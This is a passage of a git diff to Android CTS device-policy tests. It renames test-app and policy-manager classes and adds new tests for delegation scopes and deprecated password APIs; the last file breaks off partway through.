 import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
 import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
 import com.android.bedstead.testapp.TestAppProvider;
 
 import org.junit.ClassRule;
@@ -328,9 +328,9 @@
             throws Exception {
         RemoteDevicePolicyManager profileOwner = sDeviceState.profileOwner(WORK_PROFILE)
                 .devicePolicyManager();
-        try (TestAppInstanceReference personalApp = sCrossProfileTestApp.install(
+        try (TestAppInstance personalApp = sCrossProfileTestApp.install(
                 sDeviceState.primaryUser());
-             TestAppInstanceReference workApp = sCrossProfileTestApp.install(
+             TestAppInstance workApp = sCrossProfileTestApp.install(
                 sDeviceState.workProfile())) {
             profileOwner.setCrossProfilePackages(
                     sDeviceState.profileOwner(WORK_PROFILE).componentName(),
@@ -348,9 +348,9 @@
             throws Exception {
         RemoteDevicePolicyManager profileOwner = sDeviceState.profileOwner(WORK_PROFILE)
                 .devicePolicyManager();
-        try (TestAppInstanceReference personalApp = sCrossProfileTestApp.install(
+        try (TestAppInstance personalApp = sCrossProfileTestApp.install(
                 sDeviceState.primaryUser());
-             TestAppInstanceReference workApp = sCrossProfileTestApp.install(
+             TestAppInstance workApp = sCrossProfileTestApp.install(
                 sDeviceState.workProfile())) {
             profileOwner.setCrossProfilePackages(
                     sDeviceState.profileOwner(WORK_PROFILE).componentName(),
@@ -365,7 +365,7 @@
     @RequireRunOnPrimaryUser
     public void canRequestInteractAcrossProfiles_noOtherProfiles_returnsFalse()
             throws Exception {
-        try (TestAppInstanceReference personalApp = sCrossProfileTestApp.install(
+        try (TestAppInstance personalApp = sCrossProfileTestApp.install(
                 sDeviceState.primaryUser())) {
 
             assertThat(personalApp.crossProfileApps().canRequestInteractAcrossProfiles()).isFalse();
@@ -380,9 +380,9 @@
             throws Exception {
         RemoteDevicePolicyManager profileOwner = sDeviceState.profileOwner(WORK_PROFILE)
                 .devicePolicyManager();
-        try (TestAppInstanceReference personalApp = sCrossProfileTestApp.install(
+        try (TestAppInstance personalApp = sCrossProfileTestApp.install(
                 sDeviceState.primaryUser());
-             TestAppInstanceReference workApp = sCrossProfileTestApp.install(
+             TestAppInstance workApp = sCrossProfileTestApp.install(
                 sDeviceState.workProfile())) {
             profileOwner.setCrossProfilePackages(
                     sDeviceState.profileOwner(WORK_PROFILE).componentName(),
@@ -400,7 +400,7 @@
             throws Exception {
         RemoteDevicePolicyManager profileOwner = sDeviceState.profileOwner(WORK_PROFILE)
                 .devicePolicyManager();
-        try (TestAppInstanceReference workApp = sCrossProfileTestApp.install(
+        try (TestAppInstance workApp = sCrossProfileTestApp.install(
                 sDeviceState.workProfile())) {
             profileOwner.setCrossProfilePackages(
                     sDeviceState.profileOwner(WORK_PROFILE).componentName(),
@@ -417,7 +417,7 @@
             throws Exception {
         RemoteDevicePolicyManager profileOwner = sDeviceState.profileOwner(WORK_PROFILE)
                 .devicePolicyManager();
-        try (TestAppInstanceReference personalApp = sCrossProfileTestApp.install(
+        try (TestAppInstance personalApp = sCrossProfileTestApp.install(
                 sDeviceState.primaryUser())) {
             profileOwner.setCrossProfilePackages(
                     sDeviceState.profileOwner(WORK_PROFILE).componentName(),
@@ -435,9 +435,9 @@
             throws Exception {
         RemoteDevicePolicyManager profileOwner = sDeviceState.profileOwner(WORK_PROFILE)
                 .devicePolicyManager();
-        try (TestAppInstanceReference personalApp = sNonCrossProfileTestApp.install(
+        try (TestAppInstance personalApp = sNonCrossProfileTestApp.install(
                 sDeviceState.primaryUser());
-             TestAppInstanceReference workApp = sNonCrossProfileTestApp.install(
+             TestAppInstance workApp = sNonCrossProfileTestApp.install(
                 sDeviceState.workProfile())) {
             profileOwner.setCrossProfilePackages(
                     sDeviceState.profileOwner(WORK_PROFILE).componentName(),
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileSharingTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileSharingTest.java
index b7038b5..72e33c0 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileSharingTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileSharingTest.java
@@ -46,7 +46,7 @@
 import com.android.bedstead.nene.users.UserReference;
 import com.android.bedstead.remotedpc.RemoteDpc;
 import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
 import com.android.bedstead.testapp.TestAppProvider;
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 
@@ -107,7 +107,7 @@
         // Enforce the restriction and wait for it to be applied.
         setSharingIntoProfileEnabled(false);
         // Test app handles android.intent.action.PICK just in case no other app does.
-        try (TestAppInstanceReference testAppParent =
+        try (TestAppInstance testAppParent =
                      sTestApp.install(sDeviceState.primaryUser())) {
             // Verify that the intents don't resolve into cross-profile forwarder.
             assertCrossProfileIntentsResolvability(OPENING_INTENTS,
@@ -133,7 +133,7 @@
         setSharingIntoProfileEnabled(true);
 
         // Test app handles android.intent.action.PICK just in case no other app does.
-        try (TestAppInstanceReference testAppParent =
+        try (TestAppInstance testAppParent =
                      sTestApp.install(sDeviceState.primaryUser())) {
             // Verify that the intents resolve into cross-profile forwarder.
             assertCrossProfileIntentsResolvability(
@@ -190,7 +190,7 @@
      */
     private ResolveInfo getResolveInfo(UserReference targetProfile, int direction) {
         ResolveInfo forwarderInfo;
-        try (TestAppInstanceReference testApp = sTestApp.install(targetProfile)) {
+        try (TestAppInstance testApp = sTestApp.install(targetProfile)) {
             // Set up cross profile intent filters so we can resolve these to find out framework's
             // intent forwarder activity as ground truth
             sDeviceState.profileOwner(WORK_PROFILE).devicePolicyManager()
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java
index 227ea18..ddd7eeb 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java
@@ -37,9 +37,9 @@
 import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
 import com.android.bedstead.harrier.policies.DefaultSmsApplication;
 import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.remotedpc.RemoteDpc;
+import com.android.bedstead.remotedpc.RemotePolicyManager;
 import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
 import com.android.bedstead.testapp.TestAppProvider;
 
 import org.junit.Before;
@@ -71,8 +71,8 @@
 
     @Before
     public void setUp() {
-        RemoteDpc dpc = sDeviceState.dpc();
-        mAdmin = dpc.devicePolicyController().componentName();
+        RemotePolicyManager dpc = sDeviceState.dpc();
+        mAdmin = dpc.componentName();
         mDpm = dpc.devicePolicyManager();
         mTelephonyManager = sContext.getSystemService(TelephonyManager.class);
     }
@@ -84,10 +84,10 @@
     public void setDefaultSmsApplication_works() {
         assumeTrue(mTelephonyManager.isSmsCapable());
         String previousSmsAppName = getDefaultSmsPackage();
-        try (TestAppInstanceReference smsApp = sSmsApp.install()) {
-            mDpm.setDefaultSmsApplication(mAdmin, smsApp.testApp().packageName());
+        try (TestAppInstance smsApp = sSmsApp.install()) {
+            mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName());
 
-            assertThat(getDefaultSmsPackage()).isEqualTo(smsApp.testApp().packageName());
+            assertThat(getDefaultSmsPackage()).isEqualTo(smsApp.packageName());
         } finally {
             mDpm.setDefaultSmsApplication(mAdmin, previousSmsAppName);
         }
@@ -100,8 +100,8 @@
     public void setDefaultSmsApplication_unchanged() {
         assumeTrue(mTelephonyManager.isSmsCapable());
         String previousSmsAppName = getDefaultSmsPackage();
-        try (TestAppInstanceReference smsApp = sSmsApp.install()) {
-            mDpm.setDefaultSmsApplication(mAdmin, smsApp.testApp().packageName());
+        try (TestAppInstance smsApp = sSmsApp.install()) {
+            mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName());
 
             assertThat(getDefaultSmsPackage()).isEqualTo(previousSmsAppName);
         } finally {
@@ -130,11 +130,11 @@
     @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = DefaultSmsApplication.class)
     public void setDefaultSmsApplication_nullAdmin_throwsException() {
-        try (TestAppInstanceReference smsApp = sSmsApp.install()) {
+        try (TestAppInstance smsApp = sSmsApp.install()) {
 
             assertThrows(NullPointerException.class, () ->
                     mDpm.setDefaultSmsApplication(
-                            /* admin= */ null, smsApp.testApp().packageName()));
+                            /* admin= */ null, smsApp.packageName()));
         }
     }
 
@@ -145,8 +145,8 @@
     public void setDefaultSmsApplication_notSmsCapable_unchanged() {
         assumeTrue(!mTelephonyManager.isSmsCapable());
         String previousSmsAppName = getDefaultSmsPackage();
-        try (TestAppInstanceReference smsApp = sSmsApp.install()) {
-            mDpm.setDefaultSmsApplication(mAdmin, smsApp.testApp().packageName());
+        try (TestAppInstance smsApp = sSmsApp.install()) {
+            mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName());
 
             assertThat(getDefaultSmsPackage()).isEqualTo(previousSmsAppName);
         } finally {
@@ -156,12 +156,13 @@
 
     @Test
     @Postsubmit(reason = "new test")
-    @CannotSetPolicyTest(policy = DefaultSmsApplication.class)
+    // We don't include non device admin states as passing a null admin is a NullPointerException
+    @CannotSetPolicyTest(policy = DefaultSmsApplication.class, includeNonDeviceAdminStates = false)
     public void setDefaultSmsApplication_invalidAdmin_throwsException() {
-        try (TestAppInstanceReference smsApp = sSmsApp.install()) {
+        try (TestAppInstance smsApp = sSmsApp.install()) {
 
             assertThrows(SecurityException.class, () ->
-                    mDpm.setDefaultSmsApplication(mAdmin, smsApp.testApp().packageName()));
+                    mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName()));
         }
     }
 
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DelegationScopesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DelegationScopesTest.java
new file mode 100644
index 0000000..68e9558
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DelegationScopesTest.java
@@ -0,0 +1,452 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.app.admin.DevicePolicyManager.ACTION_APPLICATION_DELEGATION_SCOPES_CHANGED;
+import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
+import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
+import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_SELECTION;
+import static android.app.admin.DevicePolicyManager.DELEGATION_NETWORK_LOGGING;
+import static android.app.admin.DevicePolicyManager.DELEGATION_SECURITY_LOGGING;
+import static android.app.admin.DevicePolicyManager.EXTRA_DELEGATION_SCOPES;
+
+import static com.android.queryable.queries.StringQuery.string;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertThrows;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.IntentFilter;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.CannotSetPolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
+import com.android.bedstead.harrier.policies.Delegation;
+import com.android.bedstead.harrier.policies.NetworkLoggingDelegation;
+import com.android.bedstead.harrier.policies.SecurityLoggingDelegation;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
+import com.android.bedstead.testapp.TestAppProvider;
+import com.android.eventlib.truth.EventLogsSubject;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+/**
+ * Tests that delegation scopes can be correctly set via {@link
+ * DevicePolicyManager#setDelegatedScopes(ComponentName, String, List)}, and that subsequent access
+ * and app notification works correctly.
+ */
+@RunWith(BedsteadJUnit4.class)
+@Postsubmit(reason = "new test")
+// TODO(b/198584060): clean up the TestApp install API surface and remove the
+//  requirement to manually uninstall or use the 'try' block.
+public class DelegationScopesTest {
+
+    private static final String TEST_SCOPE = DELEGATION_CERT_INSTALL;
+    private static final String TEST_SCOPE_2 = DELEGATION_APP_RESTRICTIONS;
+
+    @ClassRule @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final UserReference sUser = sTestApis.users().instrumented();
+
+    private static final TestApp sTestAppProvider =
+            new TestAppProvider().query().whereActivities().isNotEmpty().get();
+    private static final TestApp sTestAppProvider2 = new TestAppProvider().any();
+
+    @Test
+    @PositivePolicyTest(policy = Delegation.class)
+    public void getDelegatedScopes_returnsFromSetDelegatedScopes() {
+        try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Arrays.asList(TEST_SCOPE, TEST_SCOPE_2));
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatedScopes(
+                                sDeviceState.dpc().componentName(),
+                                testApp.testApp().packageName()))
+                        .containsExactly(TEST_SCOPE, TEST_SCOPE_2);
+            } finally {
+                resetDelegatedScopes(testApp);
+            }
+        }
+    }
+
+    @Test
+    @CannotSetPolicyTest(policy = Delegation.class)
+    public void setDelegatedScopes_invalidAdmin_throwsSecurityException() {
+        try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+            assertThrows(SecurityException.class, () ->
+                    sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                            sDeviceState.dpc().componentName(),
+                            testApp.testApp().packageName(),
+                            Arrays.asList(TEST_SCOPE, TEST_SCOPE_2)));
+        }
+    }
+
+    @Test
+    @CannotSetPolicyTest(policy = Delegation.class)
+    public void getDelegatedScopes_invalidAdmin_throwsSecurityException() {
+        try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+            assertThrows(SecurityException.class, () ->
+                    sDeviceState.dpc().devicePolicyManager().getDelegatedScopes(
+                            sDeviceState.dpc().componentName(), testApp.testApp().packageName()));
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = Delegation.class)
+    public void getDelegatedScopes_returnsLatestFromSetDelegatedScopes() {
+        try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Collections.singletonList(TEST_SCOPE));
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Collections.singletonList(TEST_SCOPE_2));
+
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatedScopes(
+                                sDeviceState.dpc().componentName(),
+                                testApp.testApp().packageName()))
+                        .containsExactly(TEST_SCOPE_2);
+
+            } finally {
+                resetDelegatedScopes(testApp);
+            }
+        }
+    }
+
+    @Test
+    @CanSetPolicyTest(policy = Delegation.class)
+    public void setDelegatedScopes_uninstalledPackage_throwsExceptionWithoutChangingState() {
+        // This test cannot be split into two without ErrorProne complaining that an Exception is
+        // being caught without a fail() on the second test.
+        String uninstalledPackage = "uninstalled_package_name";
+        assertThrows(Exception.class, () ->
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        uninstalledPackage,
+                        Collections.singletonList(TEST_SCOPE)));
+        assertThat(sDeviceState.dpc().devicePolicyManager()
+                .getDelegatedScopes(sDeviceState.dpc().componentName(), uninstalledPackage))
+                .isEmpty();
+    }
+
+    @Test
+    @PositivePolicyTest(policy = Delegation.class)
+    public void getDelegatePackages_oneApp_twoScopes_returnsFromSetDelegatedScopes() {
+        try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Arrays.asList(TEST_SCOPE, TEST_SCOPE_2));
+
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatePackages(sDeviceState.dpc().componentName(), TEST_SCOPE))
+                        .containsExactly(testApp.testApp().packageName());
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatePackages(sDeviceState.dpc().componentName(), TEST_SCOPE_2))
+                        .containsExactly(testApp.testApp().packageName());
+
+            } finally {
+                resetDelegatedScopes(testApp);
+            }
+        }
+    }
+
+    @Test
+    @CannotSetPolicyTest(policy = Delegation.class)
+    public void getDelegatePackages_invalidAdmin_throwsSecurityException() {
+        try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+            assertThrows(SecurityException.class, () ->
+                    sDeviceState.dpc().devicePolicyManager().getDelegatePackages(
+                            sDeviceState.dpc().componentName(), testApp.testApp().packageName()));
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = Delegation.class)
+    public void getDelegatePackages_twoApps_differentScopes_returnsFromSetDelegatedScopes() {
+        try (TestAppInstance testApp = sTestAppProvider.install(sUser);
+                TestAppInstance testApp2 = sTestAppProvider2.install(sUser)) {
+
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Collections.singletonList(TEST_SCOPE));
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp2.testApp().packageName(),
+                        Collections.singletonList(TEST_SCOPE_2));
+
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatePackages(sDeviceState.dpc().componentName(), TEST_SCOPE))
+                        .containsExactly(testApp.testApp().packageName());
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatePackages(sDeviceState.dpc().componentName(), TEST_SCOPE_2))
+                        .containsExactly(testApp2.testApp().packageName());
+
+            } finally {
+                resetDelegatedScopes(testApp);
+                resetDelegatedScopes(testApp2);
+            }
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = Delegation.class)
+    public void getDelegatePackages_twoApps_sameScope_returnsFromSetDelegatedScopes() {
+        try (TestAppInstance testApp = sTestAppProvider.install(sUser);
+             TestAppInstance testApp2 = sTestAppProvider2.install(sUser)) {
+
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Collections.singletonList(TEST_SCOPE));
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp2.testApp().packageName(),
+                        Collections.singletonList(TEST_SCOPE));
+
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatePackages(sDeviceState.dpc().componentName(), TEST_SCOPE))
+                        .containsExactly(
+                                testApp.testApp().packageName(),
+                                testApp2.testApp().packageName());
+
+            } finally {
+                resetDelegatedScopes(testApp);
+                resetDelegatedScopes(testApp2);
+            }
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = NetworkLoggingDelegation.class)
+    public void setDelegatedScopes_networkLogging_validAdminType_noException() {
+        try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Collections.singletonList(DELEGATION_NETWORK_LOGGING));
+            } finally {
+                resetDelegatedScopes(testApp);
+            }
+        }
+    }
+
+    @Test
+    @CannotSetPolicyTest(policy = NetworkLoggingDelegation.class)
+    public void setDelegatedScopes_networkLogging_invalidAdminType_throwsSecurityException() {
+        try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+            try {
+                assertThrows(SecurityException.class, () ->
+                        sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                                sDeviceState.dpc().componentName(),
+                                testApp.testApp().packageName(),
+                                Collections.singletonList(DELEGATION_NETWORK_LOGGING)));
+            } finally {
+                resetDelegatedScopes(testApp);
+            }
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SecurityLoggingDelegation.class)
+    // TODO(b/198774281): add a negative policy test (in line with all the others here) once we can
+    //  correctly mark security logging delegation as possible for COPE profile POs.
+    public void setDelegatedScopes_securityLogging_validAdminType_noException() {
+        try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Collections.singletonList(DELEGATION_SECURITY_LOGGING));
+            } finally {
+                resetDelegatedScopes(testApp);
+            }
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = Delegation.class)
+    public void setDelegatedScopes_certSelection_settingSecondApp_revokesFirstApp() {
+        try (TestAppInstance testApp = sTestAppProvider.install(sUser);
+             TestAppInstance testApp2 = sTestAppProvider2.install(sUser)) {
+
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Collections.singletonList(DELEGATION_CERT_SELECTION));
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp2.testApp().packageName(),
+                        Collections.singletonList(DELEGATION_CERT_SELECTION));
+
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatedScopes(
+                                sDeviceState.dpc().componentName(),
+                                testApp.testApp().packageName()))
+                        .isEmpty();
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatedScopes(
+                                sDeviceState.dpc().componentName(),
+                                testApp2.testApp().packageName()))
+                        .containsExactly(DELEGATION_CERT_SELECTION);
+
+            } finally {
+                resetDelegatedScopes(testApp);
+                resetDelegatedScopes(testApp2);
+            }
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = NetworkLoggingDelegation.class)
+    public void setDelegatedScopes_networkLogging_settingSecondApp_revokesFirstApp() {
+        try (TestAppInstance testApp = sTestAppProvider.install(sUser);
+             TestAppInstance testApp2 = sTestAppProvider2.install(sUser)) {
+
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Collections.singletonList(DELEGATION_NETWORK_LOGGING));
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp2.testApp().packageName(),
+                        Collections.singletonList(DELEGATION_NETWORK_LOGGING));
+
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatedScopes(
+                                sDeviceState.dpc().componentName(),
+                                testApp.testApp().packageName()))
+                        .isEmpty();
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatedScopes(
+                                sDeviceState.dpc().componentName(),
+                                testApp2.testApp().packageName()))
+                        .containsExactly(DELEGATION_NETWORK_LOGGING);
+
+            } finally {
+                resetDelegatedScopes(testApp);
+                resetDelegatedScopes(testApp2);
+            }
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = SecurityLoggingDelegation.class)
+    public void setDelegatedScopes_securityLogging_settingSecondApp_revokesFirstApp() {
+        try (TestAppInstance testApp = sTestAppProvider.install(sUser);
+             TestAppInstance testApp2 = sTestAppProvider2.install(sUser)) {
+
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Collections.singletonList(DELEGATION_SECURITY_LOGGING));
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp2.testApp().packageName(),
+                        Collections.singletonList(DELEGATION_SECURITY_LOGGING));
+
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatedScopes(
+                                sDeviceState.dpc().componentName(),
+                                testApp.testApp().packageName()))
+                        .isEmpty();
+                assertThat(sDeviceState.dpc().devicePolicyManager()
+                        .getDelegatedScopes(
+                                sDeviceState.dpc().componentName(),
+                                testApp2.testApp().packageName()))
+                        .containsExactly(DELEGATION_SECURITY_LOGGING);
+
+            } finally {
+                resetDelegatedScopes(testApp);
+                resetDelegatedScopes(testApp2);
+            }
+        }
+    }
+
+    @Test
+    @PositivePolicyTest(policy = Delegation.class)
+    public void setDelegatedScopes_delegatedPackageReceivesScopesFromBroadcast() {
+        try (TestAppInstance testApp = sTestAppProvider.install(sUser)) {
+            // TODO(b/198769413): we should not need to start (or query for) an activity, but the
+            //  event is not received for some reason without it.
+            testApp.activities().any().start();
+            // TODO(b/198588980): automatically register every test app for this broadcast.
+            testApp.registerReceiver(
+                    new IntentFilter(ACTION_APPLICATION_DELEGATION_SCOPES_CHANGED));
+
+            try {
+                sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                        sDeviceState.dpc().componentName(),
+                        testApp.testApp().packageName(),
+                        Arrays.asList(TEST_SCOPE, TEST_SCOPE_2));
+
+                // TODO(b/198294382): support .stringListValue().contains(List<String>) to
+                //  avoid needing to explicitly list the strings again here.
+                EventLogsSubject.assertThat(testApp.events().broadcastReceived()
+                        .whereIntent().action()
+                        .isEqualTo(ACTION_APPLICATION_DELEGATION_SCOPES_CHANGED)
+                        .whereIntent().extras().key(EXTRA_DELEGATION_SCOPES)
+                        .stringListValue().contains(TEST_SCOPE, TEST_SCOPE_2))
+                        .eventOccurred();
+
+            } finally {
+                resetDelegatedScopes(testApp);
+            }
+        }
+    }
+
+    private void resetDelegatedScopes(TestAppInstance testApp) {
+        sDeviceState.dpc().devicePolicyManager().setDelegatedScopes(
+                sDeviceState.dpc().componentName(),
+                testApp.testApp().packageName(),
+                /* scopes= */ Collections.emptyList());
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DeprecatedPasswordAPIsTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DeprecatedPasswordAPIsTest.java
new file mode 100644
index 0000000..fa0ebb8
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DeprecatedPasswordAPIsTest.java
@@ -0,0 +1,268 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.devicepolicy.cts;
+
+import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.admin.DevicePolicyManager;
+import android.app.admin.RemoteDevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.RequireDoesNotHaveFeature;
+import com.android.bedstead.harrier.annotations.RequireFeature;
+import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
+import com.android.bedstead.harrier.policies.DeprecatedPasswordAPIs;
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.remotedpc.RemotePolicyManager;
+
+import org.junit.Before;
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test cases for password management APIs that are deprecated and not supported in some platforms.
+ */
+@RunWith(BedsteadJUnit4.class)
+public final class DeprecatedPasswordAPIsTest {
+
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+
+    private ComponentName mAdmin;
+    private RemoteDevicePolicyManager mDpm;
+
+    @Before
+    public void setUp() {
+        RemotePolicyManager dpc = sDeviceState.dpc();
+        mAdmin = dpc.componentName();
+        mDpm = dpc.devicePolicyManager();
+    }
+
+    @Test
+    @PositivePolicyTest(policy = DeprecatedPasswordAPIs.class)
+    @Postsubmit(reason = "new test")
+    @RequireFeature(FEATURE_AUTOMOTIVE)
+    public void testPasswordQuality_featureUnsupported_returnsUnspecified() {
+        mDpm.setPasswordQuality(mAdmin, DevicePolicyManager.PASSWORD_QUALITY_ALPHABETIC);
+
+        assertWithMessage("getPasswordQuality()").that(mDpm.getPasswordQuality(mAdmin))
+                .isEqualTo(DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED);
+    }
+
+    @Test
